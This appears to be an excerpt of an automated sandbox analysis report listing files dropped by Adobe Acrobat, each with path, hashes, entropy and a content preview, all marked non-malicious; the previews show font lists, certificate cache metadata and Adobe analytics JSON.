MD5:	5A4236FB7A4E9C9EC49859E1B7850FCD
SHA1:	5F4F7FFBF79B1184F7F952610CEF09673A23EAB8
SHA-256:	E67E1D181675738B8FAE0FAEBC77A17841CF81982EBA42482DE7467C0BAF24E7
SHA-512:	4B06C45CF3A0E753771685E5B263D709B15B7D12150F7CB7674F10FA161F40164D56BF49F6CFC019E5310FCC389F140867E028452BDE1CF1EB636C3AF08C2ED7
Malicious:	false
Preview:	p...... ........s..@.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKAwGb3/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uPiDImsLNkPlE99SNxAhUe/3
MD5:	12EDE3CDD7BA5D2EB276346C5E91FA25
SHA1:	B17C487807AC98450A9203CCB262DF91DA89FAF8
SHA-256:	7F8EA6A6E2F89E6DE025B08D7C9E7BEC867F753983CD5891050BB313BA94C509
SHA-512:	D9460B1A86D8229D9CFB0A9C4D450DFA3266BA6CA127AE007A53641DC9A6AD5CCC0EF50560C6BD82298F87045F28E7D712302D63316CAED00856E1C40D3ACDB9
Malicious:	false
Preview:	p...... ..........3S.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7912

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7912

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356313309205952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJM3g98kUwPeUkwRe9:YvXKXunYvR/ZwHA6GMbLUkee9
MD5:	85933DD01B73DAA4EF7C495F4E09A6DC
SHA1:	7A4222146A087AA37093AE4FBD783BCDF3B9FA63
SHA-256:	EE4C3398772ED72D5F7A12AA646CD54CA2CDFCFB49D9C23ACD59E21CDCB2C319
SHA-512:	46874C554461BE1AB9B1F336AA649D827723BA8C79BF29CF096BF3B85DCD5D726FBCFBB3A2A302398E0E3DD9F6B97A3AB504EF3CA8CFBF4C62CADC920B4E880F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.293554587135573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfBoTfXpnrPeUkwRe9:YvXKXunYvR/ZwHA6GWTfXcUkee9
MD5:	21C69E310ED4AB65DDC2ED51A05D3216
SHA1:	5BBE1A412672973884B276783806705DDEE8A242
SHA-256:	495DA6197642BBA0CD8E35DFACC863CE55D9499BD34F3F524F33DC5C9F83F0D3
SHA-512:	F747F930B22C059AEFA959041EA7B5D178668A8CB0CEE7B68072B5334C518475E0D9E545938122DFB2C62CB56083C1143816C9370D48F0F2D64FC9D50C4FB703
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272260801362452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfBD2G6UpnrPeUkwRe9:YvXKXunYvR/ZwHA6GR22cUkee9
MD5:	39B3E0FCF1624EFEA2F30FC3021D3BFD
SHA1:	2E3B601FE8CB8AC3E776755D5063C77B0978DA2D
SHA-256:	D2B544E716DE776E5922539931A63D1CE6868AC8C8CA74FD041029144816FF9B
SHA-512:	CA7677C5BA628B4C9C6DC7C273150C50C2C7D1AF5B13EBF52E928C8B5DD8264CCCD57317A6F4FAA837783E567331027A36618ED37A56A752D3392256628858D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333014484624537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfPmwrPeUkwRe9:YvXKXunYvR/ZwHA6GH56Ukee9
MD5:	BB051537EEEE4FF8667C1A2DD4AC78C0
SHA1:	33DEE42D9BA26BD90C30782003D829FE263DA6EC
SHA-256:	9D63EFA116175E8C804D2C840E1F6C0BFD868E0B2A1B75007FB846C851FDC7F3
SHA-512:	A9F4756BE136E0D4EBC66D157964B65879E1ED74FA2051A1FB26FCE2950C85938BA618B6248047EAD8E8C412EC3C3C0E5B728F8676A688C74A9B740A6D311C80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690415241801198
Encrypted:	false
SSDEEP:	24:Yv6XWYJhTpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvjYJhThgy6SAFv5Ah8cv/Q
MD5:	DD16656BD10E490A006184B6712839C4
SHA1:	C8DE5C535A58945AE46C7779D364CE9DAB15A75F
SHA-256:	EFBEA4D27E4742791C1B8399F550BCD3C8C328B22798DC4678A6C53B51655035
SHA-512:	93E56539E4865AA4E20B82C6B62F6B013A86D8991CBD1209287443C1164CA2C9D20D1711D7AA59157A7E121A1B9329C346444A0E2D40F19BE087B86A89801440
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280343889853597
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJf8dPeUkwRe9:YvXKXunYvR/ZwHA6GU8Ukee9
MD5:	229674621ABF781860069A2C2AC42679
SHA1:	94AAD7EE3F1900A478BC11932A1C3A6B45654AC2
SHA-256:	64B34DB666B0CDDB6CD2A91436B676DB3DAD44810DD7A9EE1CFAEC520C37C563
SHA-512:	D6C1D3B594EC652ADCA52153FD0F38D5BC0CCD1668E21264E457D480005D5A89A45281BCB501763B169E5CEDCCAFF78847C317ECDA4C66D877C2ED544229561B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279515603227599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfQ1rPeUkwRe9:YvXKXunYvR/ZwHA6GY16Ukee9
MD5:	D331FA13EBDA3765823271F8044D5E2F
SHA1:	CB6AEB4A85934F12DCA012E75BD4C37818E554FB
SHA-256:	1E52DA4586213EFB047C425C4E57C6596F1D09F384E274478AAEBECD518496EE
SHA-512:	EE0DFE388F960EA3E14B6BD56215E1B47B71A9F2AFE2D592EE581679019A8EADE97DB22CC2BF6600E117415206CB3855EEBA1D15A16153F1C7B46C84001CE29A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293475529078195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfFldPeUkwRe9:YvXKXunYvR/ZwHA6Gz8Ukee9
MD5:	117C69A211137FACFD848F29E693947D
SHA1:	38E60FBE014C07A364D45A16ABC5D7E4BCC334EA
SHA-256:	22553FAD2077B592CB6C2459144F7A36E39CA3B30ED8A3690334595A9673515B
SHA-512:	8E666D8A2C426B308BC4C4A53E8EFB3D4C17974397876B087C93EC3C24F369FBFD72BB495D5BFAC347889291B4F8CEAA7E506871F168F1E604FEB52255D19DCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.308289468759942
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfzdPeUkwRe9:YvXKXunYvR/ZwHA6Gb8Ukee9
MD5:	E9DF9512E3F985E88B05DF31C6E20CD9
SHA1:	0F816F2E85C5EF61CC0B5A59615E25AEF132C5CD
SHA-256:	7269A7EBFE46C3370C515FA1BE727B1A4B331A389B751ABD5E8249B2207B5024
SHA-512:	16766BBC014B9DC2DD7AA2205E8BCFC0738C19E8B02B2ABEF19742B6FACE03B089A03FE6C306BE76898209D858E5CCB8ECAE048CF6DFBB4FAFA351A59D5B4816
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288980775865148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfYdPeUkwRe9:YvXKXunYvR/ZwHA6Gg8Ukee9
MD5:	171355A01AB9975F10568253689FDD99
SHA1:	F00B70B546B316A7F344BBF7B1F3D187B07BEE56
SHA-256:	7F053BE10E6E0243E5B642095BF8C874201720543E3B3B1E336B0A643F33406E
SHA-512:	C41F2CAF1801734F47FD00B965B30406A69FF773674476CC732D183E8CE37C61B78BCA7B5ACE599A3CEFA24E21E4732827B59F53A6EA424E075B44A55F74DA5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274837148263113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJf+dPeUkwRe9:YvXKXunYvR/ZwHA6G28Ukee9
MD5:	5DAFB3C10FAD4012260FE1A5BDDCD196
SHA1:	276253AAEB3DDDA33251301D3962E1F50A2CFD08
SHA-256:	FE626CB1BAA94D171F156F4CDFABB86C6AC773733902A09EDD04F2CBD219F04B
SHA-512:	7184D2ACE61E95CB70DFF08EE782977EBAD3EC6EEE8A6EB2A42A4B4F267AF35AE690295B17751EDC27B5048209FA4D3B630817881E18D6050486F3A0E679DEB0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27260360703822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfbPtdPeUkwRe9:YvXKXunYvR/ZwHA6GDV8Ukee9
MD5:	C0D6CB2A5E0A2CB94E3A99BF3C977C27
SHA1:	0CBFB7EE3CBBBA52F442079EDA7676251149845E
SHA-256:	612B1BE7C03CBCDD5147E6CB3FCF649F67E36245BC4AE44A8768216B27A0A1DC
SHA-512:	583F9FF9857B5AA2FF1ED9C3C2712825FFBFF8EC9C263B61DB181EE6C9D8A2615E1F4A5E79B07926F870238EEE9C1D507B7783B37E967020C28AAF61D78C3B35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271789899348559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJf21rPeUkwRe9:YvXKXunYvR/ZwHA6G+16Ukee9
MD5:	BF85043F0DBD6423ABAB06E93EEBA417
SHA1:	204B2A713B600E7E323099A8D955545ECE4CAC3C
SHA-256:	7F72D9A3CFA0CD2FC32BFC7A0ED0680277FA56594B313E66BB709995DE6EA517
SHA-512:	C7CE06E3639AF1EFFCE73CF87AE324859199D1EC1CB9EE8274BF7E4178670404CB49EAF392BA2D201B8493616B28013A6E20C41FFCBCAD8503CF699C0ECE7564
Malicious:	false
